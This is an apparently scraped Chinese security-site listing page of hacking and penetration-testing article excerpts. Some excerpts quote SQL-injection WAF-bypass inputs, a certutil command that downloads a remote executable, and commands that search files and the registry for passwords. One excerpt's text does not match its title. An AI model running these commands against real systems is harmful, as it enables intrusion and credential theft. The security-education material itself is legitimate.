首页 ›网络安全

网络安全

黑客是怎样找到我们的？以“红队”为导向讲解近源渗透测试

活动本报讯（记者李泽伟武文娟）全新升级的第11届鸟巢欢乐冰雪季昨天全面开放，本届冰雪季免票入场群体由往届的15岁以下扩大至17岁以下，让更多的青少年走进奥运场馆，参与冬季运动和冬奥项目。今年的冰雪季在6万 ...

安全学院 2020-1-3 08:53 1199
安宁权入法，整个世界“清静”了

如今巨大的信息流量裹挟着泥沙而下。借助网络平台和网络传播方式侵犯公民权益的案件正快速增加。其间爆料出的诸多侵犯安宁权、严重干扰个人生活等恶劣事件让网民大呼“上网如同裸奔”。打开网页，或大或小的弹窗接二 ...

安全学院 2020-1-2 09:39 1496
「WEB安全」某waf实战SQL注入绕过fuzz过程

#01 环境简介服务器：windows2008 R2软件：phpstudy20180211php 5.4.45mysql 5.5.53某锁win_3.1.18.13服务端版本#02 Fuzz过程以基于union注入为例fuzz order by过程如下：?id=1' order --+ 不拦截?id=1' order by --+ 拦截nna那应该是waf匹配了order+by?id=1' order /*!by*/ --+ 拦 ...

安全学院 2020-1-1 18:25 1134
某php开源cms有趣的二次注入

搜索公众号：暗网黑客教程可领全套安全课程、配套攻防靶场一.漏洞说明这个漏洞涉及到了mysql中比较有意思的两个知识点以及以table作为二次注入的突破口，非常的有意思。此cms的防注入虽然是很变态的，但是却可以利用mysql的这两个特点绕过防御。本次的漏洞是出现在ndex.class.php中的likejob_action() ...

安全学院 2020-1-1 18:18 1240
黑客渗透过程再现，揭秘神秘的黑客一族

在渗透过程中，MSF是不可或缺的。更何况它是一个免费的、可下载的框架，通过它可以很容易地获取、开发并对计算机软件实施攻击。前不久MSF从4.7升级到MSF5.0,其中改进了数据库的处理逻辑，优化了msfconsole终端操作，并将PostgreSQL作为一个RESTful服务单独运行。此外还加入一个Web服务框架，新的免杀模 ...

渗透测试 2020-1-1 18:09 1300
简单阐述：黑客是如何敲开你电脑大门偷窃成功后安全撤离的

身在五彩缤纷的互联网世界里，可以享受互联网带来的便利以及信息带来的价值，但是，同时也可能遭遇黑客带来的安全威胁。一不小心你的电脑大门就敞开了，信息隐私泄露，变成黑客手里的“肉机”。你知道，黑客是如何敲开你的电脑大门的吗？其实，黑客敲开你的大门很简单，也就以下几个步骤：1、撒网确定 ...

安全学院 2020-1-1 17:46 822
物联网和边缘计算的网络安全

物联网具有独特的网络安全考虑因素，而对于网络安全和边缘计算来说，还有许多未知数。ForgeRock公司全球公司业务发展负责人Ben Goodman表示，大多数物联网的实施需要优先考虑网络连接性。他们通常对构成物联网的“事物”进行探讨与交流。随后却担心物联网项目的网络安全性。对于边缘计算网络安全，Good ...

安全学院 2019-12-31 17:04 831
大伙想知道黑客是如何知道你在干什么的嘛？

由于在局域网中，网关会不断地发送 ARP 数据包询问当前是否有新的客户端上线，如果我们可以欺骗当前局域网网段下的主机，　　把我们当成网关地址，并且我们把欺骗的流量转发到真正的网关地址，这样我们就可以嗅探到别人的信息实验环境：　　1、虚拟机 A（kali）　　2、实验主机 B（win 10） ...

安全学院 2019-12-31 16:48 1088
Wireshark解密HTTPS流量的两种方法

原理我们先回顾一下SSL/TLS的整个握手过程：Clienthello：发送客户端的功能和首选项给服务器，在连接建立后，当希望重协商、或者响应服务器的重协商请求时会发送。version：客户端支持的最佳协议版本Random：共32字节，28字节随机数，4字节额外信息，受客户端时钟影响（为了避免浏览器指纹采集，现在 ...

安全学院 2019-12-31 16:47 934
PHP 安全问题入门：10 个常见安全问题 + 实例讲解

相对于其他几种语言来说， PHP 在 web 建站方面有更大的优势，即使是新手，也能很容易搭建一个网站出来。但这种优势也容易带来一些负面影响，因为很多的 PHP 教程没有涉及到安全方面的知识。此帖子分为几部分，每 .. ...

网站防护 2019-12-31 16:42 1301
「渗透基础」-黑客常用Windows命令笔记

如果我有七个小时的时间来砍树，那么我一定会花6个小时来磨我的斧头！渗透命令：certutil-----从远程url下载文件案例:certutil -urlcache -split -f http://baidu.com/test.exefindstr-----查找文件后缀结果findstr /s /i "pass" *.py*reg query HKLM /f password /t REG_SZ /s-----搜集注 ...

渗透测试 2019-12-29 11:10 1163
VulnHub靶机系列：Os-ByteSec

搜索公众号：暗网黑客教程可领全套安全课程、配套攻防靶场一前言Vulnhub是一个提供各种漏洞环境的靶场平台，供安全爱好者学习渗透使用，大部分环境是做好的虚拟机镜像文件，镜像预先设计了多种漏洞，需要使用VMware ...

渗透测试 2019-12-28 11:31 1210
后渗透测试神器Empire 3.0发布

经历漫长的等待后，后渗透测试神器 Empire 终于迎来了多项重大功能升级的 3.0 版本（https://github.com/BC-SECURITY/Empire/）。Empire 是一款类似 Metasploit 的 PowerShell 可视化后期渗透测试框架，建立在密码安全通信和灵活的架构上。Empire 实现了无需 powershell.exe 就可运行 PowerShell 代理 ...

渗透测试 2019-12-27 09:14 1469
在VMware虚拟机下搭建kvm靶机

搜索公众号：暗网黑客教程可领全套安全课程、配套攻防靶场前言大家搭建kvm靶机时可以直接选择iso镜像搭建，这个一般不会出问题。故此就说下kvm中搭建的镜像，若是选择qcow2的镜像该如何搭建。本文章纯属小白文，欢迎各位大佬吐槽。实验环境:ubuntu16、VMware14一.kvm环境准备先查看虚拟机是否支持kvm.( ...

安全学院 2019-12-27 09:14 1079
渗透测试的八个错误姿势

渗透测试很重要，但你真的做对了吗？我们不妨来看看渗透测试中常见的几种错误，谈谈该如何避免这些错误。找出公司安全状态中缺陷和弱点的最有效方式之一，就是让第三方对自身系统展开有计划的攻击。渗透测试旨在暴露出公司防御上的缺口，以便公司能够在被恶意人士利用之前堵上这些缺口。有多种类型的渗 ...

渗透测试 2019-12-27 09:12 1078

1 ... 51 52 53 545556 57 58 59 ... 1000 / 1000 页下一页

网络安全

相关分类